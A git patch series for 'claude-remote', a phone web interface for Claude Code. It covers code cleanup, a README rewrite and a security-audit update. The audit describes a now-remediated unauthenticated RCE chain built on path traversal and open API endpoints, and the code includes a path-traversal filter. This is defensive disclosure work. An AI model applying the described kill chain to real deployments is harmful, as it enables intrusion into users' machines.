Date().toISOString() }; - } -} - -export function saveClaudeSessionId(sessionId: string): void { - const conversation = loadConversation(); - conversation.claudeSessionId = sessionId; - saveConversation(conversation); - console.log('[store] Claude session ID saved:', sessionId); -} - -export function getClaudeSessionId(): string | null { - const conversation = loadConversation(); - return conversation.claudeSessionId; -} - -export function saveConversation(conversation: Conversation): void { - ensureConfigDir(); - conversation.updatedAt = new Date().toISOString(); - writeFileSync(join(CONFIG_DIR, 'conversation.json'), JSON.stringify(conversation, null, 2)); - console.log('[store] Conversation saved, messages:', conversation.messages.length); -} - -export function addMessage(message: Message): Conversation { - const conversation = loadConversation(); - conversation.messages.push(message); - saveConversation(conversation); - return conversation; -} - -export function clearConversation(): void { - ensureConfigDir(); - const empty: Conversation = { messages: [], claudeSessionId: null, updatedAt: new Date().toISOString() }; - writeFileSync(join(CONFIG_DIR, 'conversation.json'), JSON.stringify(empty, null, 2)); - console.log('[store] Conversation and session cleared'); -} - -// ============================================ -// Project-related functions -// ============================================ - -export function validateProjectId(projectId: string): boolean { - if (!projectId) return false; - // Reject path traversal attempts, slashes, backslashes, null bytes - if (projectId.includes('..') || projectId.includes('/') || projectId.includes('\\') || projectId.includes('\0')) { - return false; - } - return true; -} - -function ensureProjectsDir() { - if (!existsSync(PROJECTS_DIR)) { - mkdirSync(PROJECTS_DIR, { recursive: true }); - } -} - -function getProjectConfigDir(projectId: string): string { - if (!validateProjectId(projectId)) { - throw new Error(`Invalid project ID: ${projectId}`); - } - return join(PROJECTS_DIR, projectId); -} - -function ensureProjectConfigDir(projectId: string): void { - const dir = getProjectConfigDir(projectId); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } -} - -// Check if a directory looks like a project -function hasProjectMarkers(dir: string): boolean { - const markers = [ - 'package.json', - 'Cargo.toml', - 'go.mod', - 'pyproject.toml', - 'setup.py', - '.git', - 'Makefile', - 'CMakeLists.txt', - 'pom.xml', - 'build.gradle', - ]; - return markers.some(marker => existsSync(join(dir, marker))); -} - -// Get project name from package.json or folder name -function getProjectName(projectPath: string): string { - try { - const pkgPath = join(projectPath, 'package.json'); - if (existsSync(pkgPath)) { - const pkg = JSON.parse(readFileSync(pkgPath, 'utf8')); - if (pkg.name) return pkg.name; - } - } catch { - // Ignore errors - } - - try { - const cargoPath = join(projectPath, 'Cargo.toml'); - if (existsSync(cargoPath)) { - const content = readFileSync(cargoPath, 'utf8'); - const match = content.match(/name\s*=\s*"([^"]+)"/); - if (match) return match[1]; - } - } catch { - // Ignore errors - } - - return basename(projectPath); -} - -// List all available projects from ~/projects -export function listProjects(basePath?: string): Project[] { - const projectsBase = basePath || DEFAULT_PROJECTS_BASE; - - if (!existsSync(projectsBase)) { - console.log('[store] Projects base path does not exist:', projectsBase); - return []; - } - - try { - const dirs = readdirSync(projectsBase); - const projects: Project[] = []; - - for (const dir of dirs) { - if (dir.startsWith('.')) continue; - - const fullPath = join(projectsBase, dir); - try { - const stat = statSync(fullPath); - if (!stat.isDirectory()) continue; - - if (hasProjectMarkers(fullPath)) { - // Check if we have stored lastAccessed - let lastAccessed: string | undefined; - try { - const convPath = join(getProjectConfigDir(dir), 'conversation.json'); - if (existsSync(convPath)) { - const conv = JSON.parse(readFileSync(convPath, 'utf8')); - lastAccessed = conv.updatedAt; - } - } catch { - // Ignore - } - - projects.push({ - id: dir, - path: fullPath, - name: getProjectName(fullPath), - lastAccessed, - }); - } - } catch { - // Skip directories we can't access - } - } - - // Sort by last accessed (most recent first), then by name - return projects.sort((a, b) => { - if (a.lastAccessed && b.lastAccessed) { - return new Date(b.lastAccessed).getTime() - new Date(a.lastAccessed).getTime(); - } - if (a.lastAccessed) return -1; - if (b.lastAccessed) return 1; - return a.name.localeCompare(b.name); - }); - } catch (err) { - console.error('[store] Failed to list projects:', err); - return []; - } -} - -// Load conversation for a specific project -export function loadProjectConversation(projectId: string): ProjectConversation { - try { - const convPath = join(getProjectConfigDir(projectId), 'conversation.json'); - if (!existsSync(convPath)) { - return { - projectId, - messages: [], - claudeSessionId: null, - updatedAt: new Date().toISOString(), - }; - } - const data = JSON.parse(readFileSync(convPath, 'utf8')); - // Ensure all fields exist - return { - projectId, - messages: data.messages || [], - claudeSessionId: data.claudeSessionId || null, - updatedAt: data.updatedAt || new Date().toISOString(), - }; - } catch (err) { - console.error(`[store] Failed to load project conversation for ${projectId}:`, err); - return { - projectId, - messages: [], - claudeSessionId: null, - updatedAt: new Date().toISOString(), - }; - } -} - -// Save conversation for a specific project -export function saveProjectConversation(projectId: string, conversation: ProjectConversation): void { - ensureProjectsDir(); - ensureProjectConfigDir(projectId); - conversation.updatedAt = new Date().toISOString(); - const convPath = join(getProjectConfigDir(projectId), 'conversation.json'); - writeFileSync(convPath, JSON.stringify(conversation, null, 2)); - console.log(`[store] Project ${projectId} conversation saved, messages:`, conversation.messages.length); -} - -// Add message to a specific project -export function addProjectMessage(projectId: string, message: Message): ProjectConversation { - const conversation = loadProjectConversation(projectId); - conversation.messages.push(message); - saveProjectConversation(projectId, conversation); - return conversation; -} - -// Get Claude session ID for a specific project -export function getProjectSessionId(projectId: string): string | null { - const conversation = loadProjectConversation(projectId); - return conversation.claudeSessionId; -} - -// Save Claude session ID for a specific project -export function saveProjectSessionId(projectId: string, sessionId: string): void { - const conversation = loadProjectConversation(projectId); - conversation.claudeSessionId = sessionId; - saveProjectConversation(projectId, conversation); - console.log(`[store] Project ${projectId} session ID saved:`, sessionId); -} - -// Clear conversation for a specific project -export function clearProjectConversation(projectId: string): void { - ensureProjectsDir(); - ensureProjectConfigDir(projectId); - const empty: ProjectConversation = { - projectId, - messages: [], - claudeSessionId: null, - updatedAt: new Date().toISOString(), - }; - const convPath = join(getProjectConfigDir(projectId), 'conversation.json'); - writeFileSync(convPath, JSON.stringify(empty, null, 2)); - console.log(`[store] Project ${projectId} conversation and session cleared`); -} - -// Get project by ID (validates it exists) -export function getProject(projectId: string, basePath?: string): Project | null { - if (!validateProjectId(projectId)) return null; - const projectsBase = basePath || DEFAULT_PROJECTS_BASE; - const fullPath = join(projectsBase, projectId); - - if (!existsSync(fullPath)) return null; - - try { - const stat = statSync(fullPath); - if (!stat.isDirectory()) return null; - - return { - id: projectId, - path: fullPath, - name: getProjectName(fullPath), - }; - } catch { - return null; - } -} - - - -######################### -### src/types/qrcode-terminal.d.ts -declare module 'qrcode-terminal' { - const qrcode: { - generate(text: string, options?: { small?: boolean }, callback?: (qr: string) => void): void; - }; - export default qrcode; -} - - - -######################### -### tsconfig.json -{ - "compilerOptions": { - "target": "ES2020", - "lib": ["dom", "dom.iterable", "esnext"], - "allowJs": true, - "skipLibCheck": true, - "strict": true, - "noEmit": true, - "esModuleInterop": true, - "module": "esnext", - "moduleResolution": "bundler", - "resolveJsonModule": true, - "isolatedModules": true, - "jsx": "react-jsx" - }, - "include": ["**/*.ts", "**/*.tsx"], - "exclude": ["node_modules", "dist"] -} - - - -######################### -### vite.config.ts -import { defineConfig, loadEnv } from 'vite'; -import react from '@vitejs/plugin-react'; -import tailwindcss from '@tailwindcss/vite'; - -export default defineConfig(({ mode }) => { - const env = loadEnv(mode, process.cwd(), ''); - - return { - plugins: [react(), tailwindcss()], - server: { - port: 5173, - host: true, - allowedHosts: ['ai.pond.audio'], - proxy: { - '/api': { - target: 'http://localhost:6767', - }, - '/ws': { - target: 'ws://localhost:6767', - ws: true, - }, - }, - }, - build: { - outDir: 'dist/client', - }, - }; -}); - - -######################### -### Lines of Code: - 0 public/file.svg - 0 public/globe.svg - 0 public/next.svg - 0 public/vercel.svg - 0 public/window.svg - 5 pnpm-workspace.yaml - 6 src/types/qrcode-terminal.d.ts - 8 client/src/components/types.ts - 10 client/src/main.tsx - 16 index.html - 18 eslint.config.mjs - 18 tsconfig.json - 19 claude-remote.service - 28 vite.config.ts - 41 client/src/App.tsx - 46 package.json - 53 client/src/index.css - 64 client/src/components/ChatInput.tsx - 64 src/lib/crypto.ts - 106 README.md - 112 client/src/components/ProjectTabs.tsx - 148 CLAUDE.md - 168 client/src/components/ProjectPicker.tsx - 233 client/src/components/GitStatus.tsx - 245 src/lib/claude.ts - 342 client/src/pages/Home.tsx - 352 client/src/components/ToolStack.tsx - 353 client/src/components/StreamingResponse.tsx - 460 src/lib/store.ts - 1108 server.ts - 1317 client/src/pages/Chat.tsx ------------------------------------ -Total Lines of Code: 5340 diff --git a/ideas/DIST.md b/ideas/DIST.md index c56e52b..2fda7db 100644 --- a/ideas/DIST.md +++ b/ideas/DIST.md @@ -47,7 +47,7 @@ npx claude-remote ### Option 2: Docker image ```bash -docker run -p 6767:6767 -v ~/.config/claude-remote:/data jamierpond/claude-remote +docker run -p 6767:6767 -v ~/.config/claude-remote:/data your-org/claude-remote ``` - Publish to Docker Hub / GitHub Container Registry @@ -63,7 +63,7 @@ docker run -p 6767:6767 -v ~/.config/claude-remote:/data jamierpond/claude-remot ### Option 4: Homebrew tap ```bash -brew install jamierpond/tap/claude-remote +brew install your-org/tap/claude-remote ``` - Great for macOS users (primary target audience) diff --git a/ideas/WT.md b/ideas/WT.md index ff35ea0..5d3442f 100644 --- a/ideas/WT.md +++ b/ideas/WT.md @@ -94,7 +94,7 @@ Group worktrees under their parent repo in the project list: 📁 remote-claude-real main 🔀 feature-dark-mode worktree 🔀 bugfix-auth worktree -📁 pond.audio main +📁 my-project main ``` Worktree entries rendered indented with branch icon. Parent repos show their branch name. Search still works across all entries. diff --git a/package.json b/package.json index ab96552..39a9b2b 100644 --- a/package.json +++ b/package.json @@ -1,9 +1,12 @@ { "name": "claude-remote", "version": "0.1.0", - "private": true, "license": "MIT", "author": "Jamie Pond", + "repository": { + "type": "git", + "url": "https://github.com/jamierpond/claude-remote.git" + }, "scripts": { "dev": "concurrently -n server,client -c blue,green \"tsx --watch server.ts 2>&1 | tee logs/server.log\" \"vite 2>&1 | tee logs/client.log\"", "dev:server": "tsx --watch server.ts 2>&1 | tee logs/server.log", diff --git a/server.ts b/server.ts index 513dc3a..d520ef3 100644 --- a/server.ts +++ b/server.ts @@ -386,7 +386,7 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { const extraOrigins = (process.env.CORS_ORIGINS || "") .split(",") .filter(Boolean); - const allowedOrigins = [clientUrl, "https://ai.pond.audio", ...extraOrigins]; + const allowedOrigins = [clientUrl, ...extraOrigins].filter(Boolean); const origin = req.headers["origin"]; if (origin && allowedOrigins.includes(origin)) { res.setHeader("Access-Control-Allow-Origin", origin); diff --git a/src/lib/push.ts b/src/lib/push.ts index 9d995a3..dd95348 100644 --- a/src/lib/push.ts +++ b/src/lib/push.ts @@ -35,7 +35,7 @@ export function initVapid(): VapidKeys { vapidKeys = JSON.parse(readFileSync(VAPID_PATH, "utf8")); if (vapidKeys) { webpush.setVapidDetails( - "https://ai.pond.audio", + process.env.CLIENT_URL || "https://localhost", vapidKeys.publicKey, vapidKeys.privateKey, ); @@ -52,7 +52,7 @@ export function initVapid(): VapidKeys { vapidKeys = { publicKey: keys.publicKey, privateKey: keys.privateKey }; writeFileSync(VAPID_PATH, JSON.stringify(vapidKeys, null, 2)); webpush.setVapidDetails( - "https://ai.pond.audio", + process.env.CLIENT_URL || "https://localhost", vapidKeys.publicKey, vapidKeys.privateKey, ); diff --git a/src/lib/store.ts b/src/lib/store.ts index 1af9469..218601b 100644 --- a/src/lib/store.ts +++ b/src/lib/store.ts @@ -70,12 +70,12 @@ export interface WorktreeInfo { isWorktree: true; parentRepoId: string; // e.g. "remote-claude-real" branch: string; // e.g. "feature/dark-mode" - mainWorktreePath: string; // e.g. "/home/jamie/projects/remote-claude-real" + mainWorktreePath: string; // e.g. "/home/user/projects/my-project" } export interface Project { id: string; // folder name e.g. "remote-claude-real" - path: string; // full path e.g. "/home/jamie/projects/remote-claude-real" + path: string; // full path e.g. "/home/user/projects/my-project" name: string; // display name (from package.json or folder) lastAccessed?: string; worktree?: WorktreeInfo; diff --git a/vite.config.ts b/vite.config.ts index c6ad8e7..015d464 100644 --- a/vite.config.ts +++ b/vite.config.ts @@ -10,7 +10,9 @@ export default defineConfig(({ mode }) => { server: { port: 5173, host: true, - allowedHosts: ["ai.pond.audio"], + allowedHosts: env.VITE_ALLOWED_HOSTS + ? env.VITE_ALLOWED_HOSTS.split(",") + : true, proxy: { "/api": { target: "http://localhost:6767", From 60ecb0f1e1e4e5842219863afdf2b6d81bb76fe3 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 11:45:03 -0800 Subject: [PATCH 02/13] docs: rewrite README for open-source, remove ideas/ - Add LLM-generated code disclosure banner - Add PWA installation instructions (iOS + Android) - Rewrite getting started with clone, config, systemd setup - Add "How It Works" section explaining pairing/auth/chat flow - Remove ideas/ directory (internal planning docs) Co-Authored-By: Claude Opus 4.6 --- README.md | 140 +++++++++++++++++++++++++++----------------------- ideas/DIST.md | 86 ------------------------------- ideas/WT.md | 126 --------------------------------------------- 3 files changed, 75 insertions(+), 277 deletions(-) delete mode 100644 ideas/DIST.md delete mode 100644 ideas/WT.md diff --git a/README.md b/README.md index 08118e8..e27ccdb 100644 --- a/README.md +++ b/README.md @@ -1,58 +1,42 @@ +> [!NOTE] +> **This codebase was almost entirely written by Claude Code.** I ([Jamie](https://github.com/jamierpond)) designed the system architecture and directed development, but the vast majority of the code was generated by Claude while I operated it remotely from my phone — using this very app. Built by dogfooding. + # Claude Remote -A secure mobile-friendly web interface for remotely accessing Claude Code from your phone or any device. +A secure, mobile-first web interface for accessing [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude-code/overview) from your phone. + +Run Claude Code on your desktop or server, control it from anywhere over an encrypted connection. ## Features -- **End-to-end encryption** - ECDH key exchange + AES-GCM encryption -- **QR code pairing** - Easy device pairing with QR codes -- **PIN protection** - Secure access with a PIN -- **Mobile-first UI** - Optimized for phones with touch-friendly controls -- **Real-time streaming** - See Claude's responses as they're generated -- **Rich activity panel** - See exactly what Claude is doing: - - Tool calls with icons (Read, Write, Edit, Bash, etc.) - - **Live diff view** for file edits (red for removed, green for added) - - Syntax-highlighted bash commands - - Collapsible tool results - - Live streaming indicator +- **End-to-end encryption** — ECDH P-256 key exchange + AES-256-GCM per message +- **QR code pairing** — Scan once from your phone to pair +- **PIN protection** — Argon2-hashed, rate-limited authentication +- **Real-time streaming** — See Claude's responses as they're generated +- **Rich activity panel** — Live tool calls, file diffs, bash commands, sub-agent tasks +- **Multi-project support** — Switch between projects, git worktree support +- **Push notifications** — Get notified when Claude finishes a task +- **PWA support** — Install as a native-feeling app on your phone (see below) -## Activity Panel +## Install as a PWA (Recommended) -The chat interface includes a collapsible Activity panel that shows Claude's tool usage in real-time: +For the best experience, add Claude Remote to your home screen. This gives you a full-screen app experience with push notifications — no browser chrome, no tab clutter. -``` -┌─────────────────────────────────────────────────┐ -│ ▶ Activity 📄 Read 🔧 Edit │ -├─────────────────────────────────────────────────┤ -│ ▶ 📄 Read Chat.tsx │ -│ ▶ 🔧 Edit Chat.tsx │ -│ ├─ /client/src/pages/Chat.tsx │ -│ ├─ - Remove: │ -│ │ ┌──────────────────────────────────────┐ │ -│ │ │ const [foo, setFoo] = useState(''); │ │ -│ │ └──────────────────────────────────────┘ │ -│ └─ + Add: │ -│ ┌──────────────────────────────────────┐ │ -│ │ const [bar, setBar] = useState(''); │ │ -│ └──────────────────────────────────────┘ │ -│ ▶ 💻 Bash pnpm run dev... │ -└─────────────────────────────────────────────────┘ -``` +### iOS (Safari) + +1. Open your Claude Remote URL in Safari +2. Tap the **Share** button (square with arrow) +3. Scroll down and tap **Add to Home Screen** +4. Tap **Add** -### Tool Icons - -| Icon | Tool | Description | -| ---- | --------------- | ------------------------------------- | -| 📄 | Read | Reading files | -| ✏️ | Write | Creating new files | -| 🔧 | Edit | Modifying existing files (shows diff) | -| 💻 | Bash | Running shell commands | -| 🔍 | Glob | Finding files by pattern | -| 🔎 | Grep | Searching file contents | -| 🤖 | Task | Spawning sub-agents | -| 🌐 | WebFetch | Fetching web content | -| 📝 | TodoWrite | Managing task lists | -| ❓ | AskUserQuestion | Asking for input | +### Android (Chrome) + +1. Open your Claude Remote URL in Chrome +2. Tap the **three-dot menu** +3. Tap **Add to Home screen** (or **Install app**) +4. Tap **Add** + +Once installed, Claude Remote will launch as a standalone app with push notifications for completed tasks. ## Getting Started @@ -60,47 +44,73 @@ The chat interface includes a collapsible Activity panel that shows Claude's too - Node.js 20+ - pnpm -- Claude CLI installed and authenticated +- [Claude CLI](https://docs.anthropic.com/en/docs/agents-and-tools/claude-code/overview) installed and authenticated +- An HTTPS reverse proxy (e.g. [Cloudflare Tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/), nginx, caddy) ### Installation ```bash +git clone https://github.com/jamierpond/claude-remote.git +cd claude-remote pnpm install ``` -### Development +### Configuration + +Copy the example env file and fill in your values: ```bash -pnpm run dev +cp .env.example .env.local ``` -This starts both the server (port 6767) and Vite dev server (port 5173). +```bash +# .env.local +CLAUDE_REMOTE_PIN=your-secure-pin +CLIENT_URL=https://your-client-domain.com +SERVER_URL=https://your-server-domain.com +``` -### Environment Variables +### Running -Create a `.env.local` file: +```bash +# Development (hot reload) +pnpm dev + +# Production +pnpm build +pnpm start +``` + +The server runs on port 6767 and serves the built client as static files. + +### Systemd (Optional) + +A systemd user service file is included for running as a daemon. Edit `claude-remote.service` to match your paths, then: ```bash -PIN=1234 # Access PIN -CLIENT_URL=https://your-domain.com -SERVER_URL=https://your-server.com +cp claude-remote.service ~/.config/systemd/user/ +systemctl --user enable --now claude-remote ``` +## How It Works + +1. **Pair** — Server shows a QR code. Scan it from your phone to exchange ECDH keys. +2. **Authenticate** — Enter your PIN. It's verified against an argon2 hash on the server. +3. **Chat** — Messages are encrypted end-to-end. The server spawns Claude CLI and streams responses back. + +All communication between your phone and the server is encrypted with a shared secret derived during pairing — even if your reverse proxy terminates TLS, the message contents are opaque. + ## Architecture - **Frontend**: React + TypeScript + Tailwind CSS (Vite) -- **Backend**: Node.js WebSocket server -- **Security**: ECDH key exchange, AES-256-GCM encryption -- **Claude Integration**: Spawns Claude CLI with `--output-format stream-json` +- **Backend**: Node.js HTTP + WebSocket server +- **Security**: ECDH key exchange, AES-256-GCM encryption, argon2 PIN hashing +- **Claude**: Spawns `claude` CLI with `--output-format stream-json` -## Mobile Optimizations +## Security -- Dynamic viewport height (`100dvh`) for proper mobile browser support -- Safe area insets for notched devices -- 44px minimum touch targets -- Rounded pill-style input and buttons -- Collapsible sections to maximize screen space +See [SEC_AUDIT.md](./SEC_AUDIT.md) for a full security audit including known attack vectors and mitigations. ## License -MIT +[MIT](./LICENSE) diff --git a/ideas/DIST.md b/ideas/DIST.md deleted file mode 100644 index 2fda7db..0000000 --- a/ideas/DIST.md +++ /dev/null @@ -1,86 +0,0 @@ -# Distribution & Packaging Ideas - -## Client (App Store) - -### PWA (Current) - -Already working with push notifications, home screen install, standalone mode on iOS. Covers 90% of use cases. Limitation: Apple's restrictions on PWA capabilities (no background fetch, limited push reliability). - -### Capacitor (Recommended next step) - -Wrap the existing Vite React app in a native shell. Minimal code changes — web app runs inside WKWebView. - -Benefits over PWA: - -- Reliable native push via APNs -- Keychain storage for encryption keys/PIN -- Face ID / Touch ID for biometric auth -- Background WebSocket keep-alive -- App Store presence, TestFlight updates - -Costs: - -- Apple Developer account ($99/year) -- App Store review (add biometric auth + Keychain to avoid "thin wrapper" rejection) -- Xcode project + signing certificate maintenance - -``` -├── client/src/ # existing React app (unchanged) -├── ios/ # Capacitor-generated Xcode project -├── capacitor.config.ts # points to dist/client/ -└── src/plugins/ # native bridge for Keychain, biometrics -``` - -## Server - -### Option 1: npm package - -```bash -npx claude-remote -``` - -- Publish to npm, one-command setup -- Requires Node 22+ and Claude CLI on the machine -- `argon2` native dep needs build tools — consider swapping for pure-JS alternative (`@noble/hashes` with scrypt) -- Bundle the built client into the package - -### Option 2: Docker image - -```bash -docker run -p 6767:6767 -v ~/.config/claude-remote:/data your-org/claude-remote -``` - -- Publish to Docker Hub / GitHub Container Registry -- Docker Compose file with Cloudflare tunnel sidecar for turnkey setup -- Challenge: Claude CLI needs host filesystem access for coding tasks - -### Option 3: Single binary - -- Compile with `bun build --compile` or similar -- No Node/npm required — download and run -- Need to swap argon2 for pure-JS to avoid native deps - -### Option 4: Homebrew tap - -```bash -brew install your-org/tap/claude-remote -``` - -- Great for macOS users (primary target audience) -- Wrap npm package or compiled binary -- Include launchd plist for running as a service - -## Recommended Path - -1. **npm package + Docker** covers the most ground -2. Replace `argon2` with pure-JS alternative to eliminate native compilation -3. Bundle built client into the npm package -4. Add `claude-remote init` command for guided Cloudflare tunnel setup -5. Detect if `claude` is on PATH and guide user through setup on first run - -## Key Friction Points - -- Cloudflare tunnel setup (could automate/guide) -- Claude CLI must be installed on the host -- argon2 native compilation (swap for pure-JS) -- HTTPS required for Web Push / crypto APIs (tunnel handles this) diff --git a/ideas/WT.md b/ideas/WT.md deleted file mode 100644 index 5d3442f..0000000 --- a/ideas/WT.md +++ /dev/null @@ -1,126 +0,0 @@ -# Plan: Git Worktree Support - -## Context - -The user wants to work on multiple branches/ideas simultaneously from their phone. Currently, each project maps to a single directory under `~/projects/`, so you can only have one branch checked out per repo. Git worktrees let you have multiple branches checked out in separate directories sharing the same `.git` repo — perfect for parallel work. - -The existing multi-project tab system already supports independent conversations, Claude sessions, and working directories per project. Worktrees just need to appear as discoverable projects and the rest works automatically. - -## Approach - -**Worktrees live in `~/projects/` with naming convention `{repo}--{branch}`.** - -Example: creating worktree for `feature/dark-mode` from `remote-claude-real` produces: - -``` -~/projects/remote-claude-real--feature-dark-mode/ -``` - -This works because: - -- `listProjects()` already scans `~/projects/` — worktrees have a `.git` file (pointing to parent) which counts as a project marker -- `validateProjectId()` accepts `--` in names (no forbidden chars) -- No changes needed to conversation storage, Claude spawning, or WebSocket routing -- Worktree detection uses git's own metadata (`.git` file vs `.git` directory), not the naming convention - -## Files to Modify - -### 1. `src/lib/store.ts` — Worktree detection + CRUD - -**Extend `Project` interface** (line 68): - -```typescript -export interface Project { - id: string; - path: string; - name: string; - lastAccessed?: string; - worktree?: { - isWorktree: boolean; - parentRepoId: string; // e.g. "remote-claude-real" - branch: string; - }; -} -``` - -**Add `detectWorktreeInfo(projectPath)`**: Check if `.git` is a file (= linked worktree) vs directory (= main repo). If worktree, run `git worktree list --porcelain` to find the main repo path. Extract branch via `git rev-parse --abbrev-ref HEAD`. Only runs `execSync` when `.git` is a file (fast `statSync` check first). - -**Modify `listProjects()`**: After discovering each project, call `detectWorktreeInfo()` and populate the `worktree` field. Derive `parentRepoId` from the main worktree path's basename. - -**Add `listWorktrees(projectId)`**: Run `git worktree list --porcelain` from the project dir. Parse and return `{path, branch, isCurrent}[]`. - -**Add `createWorktree(projectId, branchName)`**: Sanitize branch name (`/` → `-`), compute `worktreeId = {projectId}--{safeBranch}`, path = `~/projects/{worktreeId}`. Try `git worktree add {path} {branch}`, fall back to `git worktree add -b {branch} {path}` if branch doesn't exist. Return `{id, path}`. - -**Add `removeWorktree(worktreeProjectId)`**: Verify it's actually a worktree via `detectWorktreeInfo()`. Run `git worktree remove {path}` from the parent repo. Surfaces clear error if dirty (uncommitted changes). - -### 2. `server.ts` — Three new API endpoints - -Add alongside existing `/api/projects/:id/git` routes: - -- **`GET /api/projects/:id/worktrees`** — List all worktrees for a repo. Returns `{worktrees: [{path, branch, isCurrent}]}`. -- **`POST /api/projects/:id/worktrees`** — Create worktree. Body: `{branch: string}`. Returns `{id, path, branch}`. -- **`DELETE /api/projects/:id/worktrees`** — Remove a worktree project. Returns `{success: true}`. - -**Enhance existing `GET /api/projects/:id/git`** — Add `branches` list (from `git branch -a --format='%(refname:short)'`), `isWorktree` boolean, and `parentRepoId` to the response. The branches list is needed for the worktree creation UI. - -Import new functions: `listWorktrees`, `createWorktree`, `removeWorktree` from store. - -### 3. `client/src/components/ProjectTabs.tsx` — Update Project type + tab display - -**Extend `Project` interface** (exported, used everywhere) with the `worktree?` field. - -**Tab rendering**: For worktree projects, show `parentRepoId:branch` instead of project name. Compact format for phone screens. - -### 4. `client/src/components/GitStatus.tsx` — Worktree creation + deletion UI - -This is the primary entry point on mobile (the branch badge in the header). - -**Add to the expanded dropdown:** - -- "New worktree" button below the Refresh button -- Tapping it opens a small inline modal with: - - Text input for branch name - - List of existing branches (from enhanced `/git` endpoint) as tappable options - - "Create" button → `POST /api/projects/:id/worktrees` → opens new project tab -- When the current project IS a worktree: show "Delete worktree" option that calls DELETE and closes the tab - -**New props**: `onWorktreeCreated?: (project: Project) => void`, `onWorktreeDeleted?: (projectId: string) => void` - -### 5. `client/src/components/ProjectPicker.tsx` — Grouped display - -Group worktrees under their parent repo in the project list: - -``` -📁 remote-claude-real main - 🔀 feature-dark-mode worktree - 🔀 bugfix-auth worktree -📁 my-project main -``` - -Worktree entries rendered indented with branch icon. Parent repos show their branch name. Search still works across all entries. - -### 6. `client/src/pages/Chat.tsx` — Wire callbacks - -Pass `onWorktreeCreated` and `onWorktreeDeleted` from `GitStatus` through to existing `handleSelectProject` and `handleCloseProject`. No new logic needed — these handlers already work generically. - -## Implementation Order - -1. `src/lib/store.ts` — Core functions (detect, list, create, remove, extend Project) -2. `server.ts` — API endpoints + enhanced git endpoint -3. `client/src/components/ProjectTabs.tsx` — Type update + display -4. `client/src/components/GitStatus.tsx` — Creation/deletion UI -5. `client/src/components/ProjectPicker.tsx` — Grouped display -6. `client/src/pages/Chat.tsx` — Wire callbacks -7. Build + deploy + test - -## Verification - -1. `pnpm build` passes -2. `pnpm lint` passes -3. `make deploy` -4. Open a project on the phone → tap branch badge → see "New worktree" button -5. Create a worktree for a new branch → new tab opens with that branch -6. Send a message in the worktree project → Claude works in the correct directory -7. Open project picker → worktrees grouped under parent repo -8. Delete worktree → tab closes, directory removed -9. Verify main repo unaffected after worktree deletion From 20a8bb8b16cc2d72a61390d8fa9ffa0f66b376ff Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 15:28:12 -0800 Subject: [PATCH 03/13] chore: add tests, update SEC_AUDIT with fix status, cleanup - Add unit tests for crypto (ECDH, AES-256-GCM encrypt/decrypt) and path validation (validateProjectId) using Node's built-in test runner - Add remediation status table to SEC_AUDIT.md showing which findings are FIXED, ACCEPTED, or OPEN - Remove Flutter references from .gitignore - Add flutter_client to .prettierignore - Add pnpm test script Co-Authored-By: Claude Opus 4.6 --- .gitignore | 8 --- .prettierignore | 1 + SEC_AUDIT.md | 31 ++++++++- package.json | 1 + src/lib/crypto.test.ts | 140 +++++++++++++++++++++++++++++++++++++++++ src/lib/store.test.ts | 49 +++++++++++++++ 6 files changed, 221 insertions(+), 9 deletions(-) create mode 100644 src/lib/crypto.test.ts create mode 100644 src/lib/store.test.ts diff --git a/.gitignore b/.gitignore index 3de77ac..7c7805f 100644 --- a/.gitignore +++ b/.gitignore @@ -46,12 +46,4 @@ logs/ dist/ .direnv/ -# Flutter -flutter_client/.dart_tool/ -flutter_client/.flutter-plugins -flutter_client/.flutter-plugins-dependencies -flutter_client/build/ -flutter_client/.packages -flutter_client/pubspec.lock -flutter_client/flutter_02.png pair-link.txt diff --git a/.prettierignore b/.prettierignore index ffdc0ed..f40cb3b 100644 --- a/.prettierignore +++ b/.prettierignore @@ -2,3 +2,4 @@ node_modules dist logs pnpm-lock.yaml +flutter_client diff --git a/SEC_AUDIT.md b/SEC_AUDIT.md index af3c0db..f9c6766 100644 --- a/SEC_AUDIT.md +++ b/SEC_AUDIT.md @@ -1,14 +1,34 @@ # Security Audit: claude-remote **Date:** 2026-02-05 +**Updated:** 2026-02-10 **Scope:** `server.ts`, `src/lib/`, `client/src/` **Objective:** Find Remote Code Execution (RCE) vectors --- +## Remediation Status + +| Finding | Severity | Status | +| ---------------------------------------- | -------- | -------------------------------------------------------------------------------- | +| Path traversal in static file serving | CRITICAL | **FIXED** — `resolve()` + `startsWith()` boundary check | +| Unauthenticated HTTP API endpoints | CRITICAL | **FIXED** — Bearer PIN required on all `/api/*` routes | +| Full unauthenticated RCE kill chain | CRITICAL | **FIXED** — Both prerequisites (above) are resolved | +| Path traversal in `projectId` | HIGH | **FIXED** — `validateProjectId()` rejects `..`, `/`, `\`, `\0` | +| CORS wildcard | HIGH | **FIXED** — Restricted to `CLIENT_URL` + `CORS_ORIGINS` env var | +| `execSync` with traversed `cwd` | MEDIUM | **FIXED** — Auth gate + projectId validation | +| Brute-force device decryption | MEDIUM | **ACCEPTED** — Iterates all devices with no early return to prevent timing leaks | +| Unauthenticated process signal injection | MEDIUM | **FIXED** — Dev endpoints behind auth gate | +| PIN cached in localStorage | LOW | OPEN | +| Shared secret in localStorage | LOW | OPEN | + +--- + ## Executive Summary -A **full unauthenticated RCE chain** exists. An attacker with network access to the server (through the Cloudflare tunnel at `your-server.example.com`) can read all crypto secrets via path traversal, pair their own device, authenticate, and execute arbitrary commands through Claude CLI. No credentials are needed upfront. +At the time of the initial audit (2026-02-05), a **full unauthenticated RCE chain** existed: an attacker with network access could read crypto secrets via path traversal, pair their own device, and execute arbitrary commands through Claude CLI with zero prior credentials. + +**All CRITICAL and HIGH findings have been remediated.** The remaining OPEN items are LOW severity client-side storage concerns. --- @@ -17,6 +37,7 @@ A **full unauthenticated RCE chain** exists. An attacker with network access to **File:** `server.ts:578-603` **Severity:** CRITICAL **Auth required:** None +**Status:** FIXED — Static file handler now uses `resolve()` + `startsWith(distPath)` boundary check. Any resolved path outside the dist directory returns 403. The static file handler joins the URL pathname directly into `path.join()` without sanitization: @@ -66,6 +87,7 @@ Any file readable by the process user is served if its full resolved path contai **File:** `server.ts:287-576` **Severity:** CRITICAL **Auth required:** None +**Status:** FIXED 